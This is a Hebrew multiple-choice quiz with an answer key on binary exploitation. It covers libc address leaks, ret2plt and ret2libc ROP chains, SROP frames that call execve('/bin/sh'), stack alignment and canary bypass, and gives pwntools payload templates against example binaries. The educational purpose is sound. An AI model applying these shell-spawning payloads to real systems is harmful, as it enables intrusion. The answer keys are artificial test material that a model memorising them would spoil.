שאלה 3.3 — Dry Run Leak · puts@GOT = 0x601018 # ב-memory: [0x601018] = 0x7f4a8c234560 (puts@libc) # libc.sym['puts'] = 0x80560 (offset בlibc) # ROP קרא לputs(0x601018) # puts הדפיסה 6 bytes: \x60\x45\x23\x8c\x4a\x7f leaked = u64(b'\x60\x45\x23\x8c\x4a\x7f'.ljust(8, b'\x00')) # מה libc_base?

puts@GOT = 0x601018
# ב-memory: [0x601018] = 0x7f4a8c234560  (puts@libc)
# libc.sym['puts'] = 0x80560 (offset בlibc)

# ROP קרא לputs(0x601018)
# puts הדפיסה 6 bytes: \x60\x45\x23\x8c\x4a\x7f
leaked = u64(b'\x60\x45\x23\x8c\x4a\x7f'.ljust(8, b'\x00'))
# מה libc_base?
  • א. 0x7f4a8c234560 + 0x80560: חיבור ההיסט לכתובת שדלפה במקום חיסורו ממנה
  • ב. 0x601018: כתובת ה-GOT entry עצמה, ולא בסיס ספריית libc המבוקש כאן
  • ג. 0x7f4a8c234560 - 0x80560 = 0x7f4a8c1b4000: זהו בסיס ספריית libc
  • ד. 0x7f4a8c234560 בלבד: הכתובת שדלפה עצמה, ללא כל חישוב של הבסיס כאן
תשובה: ג

✓ תשובה: ג) — leaked = 0x7f4a8c234560 (puts@libc). libc.sym['puts'] = offset = 0x80560. libc_base = leaked - offset = 0x7f4a8c234560 - 0x80560 = 0x7f4a8c1b4000. ← כל כתובת libc = libc_base + offset.

שאלה 4.1 — SROP · מה יתרון SROP על ROP רגיל כשאין מספיק Gadgets?

  • א. SROP מגדיר את כל הרגיסטרים בבת-אחת דרך SigreturnFrame שב-Stack
  • ב. טכניקת SROP פשוט רצה מהר יותר מ-ROP רגיל בזמן הריצה של הניצול הזה
  • ג. טכניקת SROP אינה זקוקה כלל ל-Gadgets כלשהם כדי לפעול כראוי כאן
  • ד. טכניקת SROP היא זו שעוקפת את מנגנון ה-ASLR של מערכת ההפעלה כאן
תשובה: א

✓ תשובה: א) — sigreturn (syscall 15) קורא sigreturn frame מה-Stack ומשחזר את כל הרגיסטרים. SROP מזייף frame זה. רק צריך: pop rax; ret (לשים 15), syscall; ret. שאר הרגיסטרים (rdi, rsi, rip...) מגיעים מה-Frame!

שאלה 4.2 — בחירת טכניקה · קיבלת binary עם NX, ASLR, ללא PIE. איזו טכניקת ROP תעבוד?

  • א. Shellcode ישיר אל תוך ה-Stack והרצתו משם, אף שה-NX חוסם זאת לגמרי
  • ב. ret2plt (system@plt): ללא PIE כתובות ה-PLT קבועות ואינן מרונדמות
  • ג. ret2libc ישיר לגמרי ללא שלב Leak, אף שה-ASLR מרנדם את libc כאן כן
  • ד. טכניקת SROP בלבד היא זו שתעבוד כאן, ללא כל אפשרות אחרת נוספת כלל
תשובה: ב

✓ תשובה: ב) — ללא PIE: binary נטען לכתובת קבועה → PLT קבוע (0x401xxx). ASLR = רק libc randomized. אם system@plt קיים: pop rdi + binsh + system@plt. אם לא: Leak puts@libc → חשב libc_base → system@libc + /bin/sh@libc.

שאלה 4.3 — Dry Run SROP Frame · ב-SROP, אם מגדירים frame.rax=59, frame.rdi=binsh, frame.rsi=0, frame.rdx=0, frame.rip=syscall_addr, מה יקרה אחרי ה-sigreturn?

frame.rax=59, frame.rdi=binsh, frame.rsi=0, frame.rdx=0, frame.rip=syscall_addr
  • א. תיקרא הפונקציה system("/bin/sh") ישירות מתוך ספריית libc הנטענת כאן
  • ב. תיקרא הפונקציה fork() שתיצור תהליך-בן חדש במקום להריץ Shell כלשהו
  • ג. כל הרגיסטרים ייטענו מן ה-Frame: rax=59 (execve), rdi=binsh → Shell
  • ד. תתקבל שגיאה, מכיוון שהרגיסטר rax אינו יכול כלל להכיל את הערך 59
תשובה: ג

✓ תשובה: ג) — sigreturn משחזר את כל ה-CPU state מה-Frame. אחרי כן: rip=syscall_addr → מריץ syscall עם rax=59 (SYS_execve), rdi="/bin/sh", rsi=NULL, rdx=NULL → execve → Shell! זה כוחו של SROP — פעולה אחת מגדירה הכל.

גאמא סגנון א׳ · OFFSET = 40 pop_rdi = 0x401233 ret_g = 0x40101a system = 0x7f... # (libc_base + offset, ידוע אחרי leak) binsh = 0x7f... # (libc_base + offset) payload = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(system) # מה יקרה כשPayload זה נשלח?

OFFSET = 40
pop_rdi = 0x401233
ret_g   = 0x40101a
system  = 0x7f...  # (libc_base + offset, ידוע אחרי leak)
binsh   = 0x7f...  # (libc_base + offset)

payload = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(system)
# מה יקרה כשPayload זה נשלח?
  • א. Crash ב-system() בשל יישור Stack; חסר gadget של ret לפני הקריאה
  • ב. Shell מיידי יתקבל ללא שום בעיה, שכן כל הכתובות בשרשרת תקינות כאן
  • ג. שגיאת Segfault תתרחש עוד לפני הקריאה לפונקציה system בכלל כאן
  • ד. Crash יתרחש מכיוון שהכתובת של ה-Gadget pop_rdi אינה תקינה כלל כאן
תשובה: א

✓ תשובה: א) — חסר Stack Alignment! בלי ret_g: rsp%16 != 0 כשנכנסים לsystem(). movaps (בתוך system) זורק SIGSEGV. תיקון: payload = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(ret_g) + p64(system).

גאמא סגנון ב׳ — Leak Dry Run · # puts@GOT מכיל: 0x7f8a3c456790 # libc.sym['puts'] = 0x84790 # libc.sym['system']= 0x52290 # libc.sym['__libc_start_main'] = 0x23f90 # לאחר Leak: leaked = 0x7f8a3c456790 libc.address = leaked - libc.sym['puts'] system_addr = libc.sym['system'] # מה system_addr?

# puts@GOT מכיל: 0x7f8a3c456790
# libc.sym['puts']  = 0x84790
# libc.sym['system']= 0x52290
# libc.sym['__libc_start_main'] = 0x23f90

# לאחר Leak:
leaked = 0x7f8a3c456790
libc.address = leaked - libc.sym['puts']
system_addr = libc.sym['system']
# מה system_addr?
  • א. 0x7f8a3c456790 ועוד 0x52290: חיבור ההיסט ישירות לכתובת שדלפה במקום
  • ב. 0x52290 בלבד: ההיסט של system בתוך libc, ללא חיבורו כלל אל הבסיס
  • ג. libc_base = הכתובת פחות 0x84790; system = libc_base ועוד 0x52290
  • ד. 0x7f8a3c456790 בלבד: הכתובת שדלפה של puts, ללא שום חישוב נוסף כאן
תשובה: ג

✓ תשובה: ג) — libc_base = leaked_puts - puts_offset = 0x7f8a3c456790 - 0x84790 = 0x7f8a3c3d2000. system = libc_base + system_offset = 0x7f8a3c3d2000 + 0x52290 = 0x7f8a3c424290. בדיקה: system - libc_base = 0x52290 ✓

גאמא סגנון ג׳ — ROP Chain מלא · ; Binary: NX=ON, ASLR=ON, PIE=OFF ; pop rdi; ret @ 0x401234 ; ret @ 0x40101a ; puts@plt = 0x401060 ; puts@got = 0x601018 ; main = 0x4011a0 ; OFFSET = 72מה ה-Payload הנכון לshלב הLeak?

; Binary: NX=ON, ASLR=ON, PIE=OFF
; pop rdi; ret @ 0x401234
; ret          @ 0x40101a
; puts@plt     = 0x401060
; puts@got     = 0x601018
; main         = 0x4011a0
; OFFSET       = 72
  • א. b'A'*72 + p64(0x401234) + p64(0x601018) + p64(0x401060) + p64(0x4011a0)
  • ב. b'A'*72 + p64(0x401234) + p64(0x401060) + p64(0x601018) + p64(0x4011a0)
  • ג. b'A'*72 + p64(0x601018) + p64(0x401060) + p64(0x4011a0) בלי ה-pop rdi
  • ד. b'A'*72 + p64(0x401060) + p64(0x601018) + p64(0x4011a0) בלי ה-pop rdi
תשובה: א

✓ תשובה: א) — Payload: [junk×72][pop_rdi=0x401234][puts@GOT=0x601018][puts@PLT=0x401060][main=0x4011a0]. Execution: ret→pop_rdi. pop rdi=0x601018 (puts@GOT). ret→puts@PLT. puts מדפיסה תוכן 0x601018 = puts@libc. ret→main (round 2).

שאלה 5.1 [בינוני] · עבור buf=64 בתים, מהו ה-offset ל-Return Address ב-cdecl (x86)?

buf=64
  • א. 64: הנחה שגויה, אף שיש לחצות גם את 4 בתי ה-Saved EBP שמעל ה-buffer, ולכן ה-offset ל-Return Address הוא 68 ולא 64 שהוא גודל ה-buffer בלבד
  • ב. 72: הנחה שגויה, אף שהחישוב הנכון הוא 64 ועוד 4 בתי EBP שהם 68, ולכן 72 סופר את ה-EBP פעמיים בטעות ואינו ה-offset הנכון לכתובת החזרה כן
  • ג. 68 — יש לחצות את 64 בתי ה-buffer ואת 4 בתי ה-Saved EBP שמעליו כדי להגיע לכתובת החזרה, ולכן ה-offset הכולל עד ה-Return Address הוא 68
  • ד. 60: הנחה שגויה, אף שה-offset כולל את כל 64 בתי ה-buffer ועוד 4 בתי EBP, ולכן הוא 68 ולא 60 שהיה מקצר בטעות את ה-buffer בארבעה בתים
תשובה: ג

✓ תשובה נכונה: ג — Stack Frame (x86): buf(64) + Saved EBP(4) = 68 בתים עד Return Address. Offset=68. תמיד וודא בפועל עם cyclic (Alignment/ABI).

שאלה 5.2 [בינוני] · מה מחזירה p32(0x08048456) ב-pwntools?

p32(0x08048456)
  • א. הערך b"\x08\x04\x84\x56": הנחה שגויה, אף ש-p32 אורז ב-Little Endian ולכן הבית הנמוך ראשון, וזהו סדר Big Endian ההפוך שאינו הנכון כן
  • ב. המחרוזת "0x08048456": הנחה שגויה, אף ש-p32 מחזירה בתים ארוזים ולא טקסט, ולכן הפלט הוא רצף בתים ב-Little Endian ולא מחרוזת קריאה
  • ג. הערך b"\x56\x84\x04\x08" — הפונקציה אורזת כתובת 32-ביט בסדר Little Endian, ולכן הבית הנמוך 0x56 מופיע ראשון והגבוה 0x08 אחרון
  • ד. הערך המספרי 134513750: הנחה שגויה, אף שזהו הערך העשרוני של הכתובת, p32 מחזירה את הבתים הארוזים ל-payload ולא מספר עשרוני גולמי
תשובה: ג

✓ תשובה נכונה: ג — p32 אורז int ל-4 בתים Little Endian: 0x08048456 → b'\x56\x84\x04\x08'. הכרחי לבניית Payload עם כתובת יעד לקפיצה.

שאלה 5.3 [קשה] · זוהה Stack Canary. כיצד בכל זאת אפשר לעקוף אותו?

Stack Canary
  • א. Format String Bug יכול לדלוף את ערך ה-Canary מהזיכרון, ואז כוללים אותו במדויק ב-Payload לפני כתובת החזרה — כך הבדיקה עוברת והניצול מצליח
  • ב. פשוט מתעלמים ממנו: הנחה שגויה, אף שלא ניתן להתעלם מ-Canary כי הוא נבדק לפני ret, ולכן חובה לדלוף את ערכו ולשחזרו נכון ב-Payload כדי לעקוף כאן
  • ג. מריצים את הבינארי מחדש: הנחה שגויה, אף שהרצה מחדש אינה משנה את ה-Canary באותה ריצה, ויש לדלוף את ערכו ולשלבו ב-Payload כדי לעבור בדיקה
  • ד. מגדילים את ה-buffer: הנחה שגויה, אף שהגדלת הקלט רק תפעיל את בדיקת ה-Canary ותקרוס, ולכן הדרך היא לדלוף את ערכו ולשמרו נכון ב-Payload כאן כן
תשובה: א

✓ תשובה נכונה: א — Canary נבדק לפני ret. עוקפים בדליפת ערכו (Format String / Info Leak), ואז משבצים אותו נכון ב-Payload. ל-PIE/ASLR צריך גם דליפת כתובות.